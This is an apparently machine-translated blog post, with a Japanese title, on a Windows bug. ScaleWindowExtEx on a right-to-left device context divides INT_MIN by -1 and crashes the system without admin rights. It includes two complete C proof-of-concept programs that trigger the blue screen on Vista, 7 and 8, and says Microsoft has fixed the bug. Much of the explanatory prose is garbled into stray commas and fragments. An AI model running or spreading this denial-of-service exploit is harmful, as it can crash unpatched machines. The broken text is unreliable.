6行のコードでWindowsをドロップする方法

関連項目: Microsoftがブルースクリーンの脆弱性を修正


かつて、友人がWindowsの脆弱性について教えてくれました。 つまり、そのため、 6行のCコードでのブルースクリーンを簡単に呼び出すことができます。 さらに、プログラムは管理者権限を必要とせず、1つのウィンドウスケーリング関数のみを呼び出します。









理論のビット


無効な命令の場合、プロセッサは例外をスローし、OS自体がその処理を決定します。 これがプログラムのエラーであり、何らかの方法で処理できない場合、システムはプログラムが動作を停止したという既知のメッセージを全員に提供します。



たとえば、このコードのゼロ除算は無効な命令です。

#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

      
      





, (, warning).



, : .



INT_MIN / -1


INT_MIN -1.

, INT_MIN=−2,147,483,648=-231, INT_MAX=2,147,483,647=231-1. , : int , , .

, INT_MIN -1 int .



, , :

#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}

      
      







Windows


Windows . - . - , : .

WinAPI , , . — ScaleWindowExtEx. — .

:

BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);

      
      









, , . , — .

Xnum / Xdenom — x.

Ynum / Ydenom — y.

. , (device context) . , , - . , SetLayout.

, CreateCompatibleDC (NULL). SetLayout. ScaleWindowExtEx .

, , Windows .

INT_MIN -1 . - , .

gdi32.lib Windows:

#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

      
      





:

#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

      
      





INT_MIN -2147483648, , limits.h. , , . - .



Windows Vista, 7 8. 32- , 64- ( 64- ).



P.S. bash, .



UPDATE1: ((int) 0x8000/0x80000000) (-2147483647 — 1), . , AndreyDmitriev alper.

UPDATE2: Microsoft .

UPDATE3: «»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.



All Articles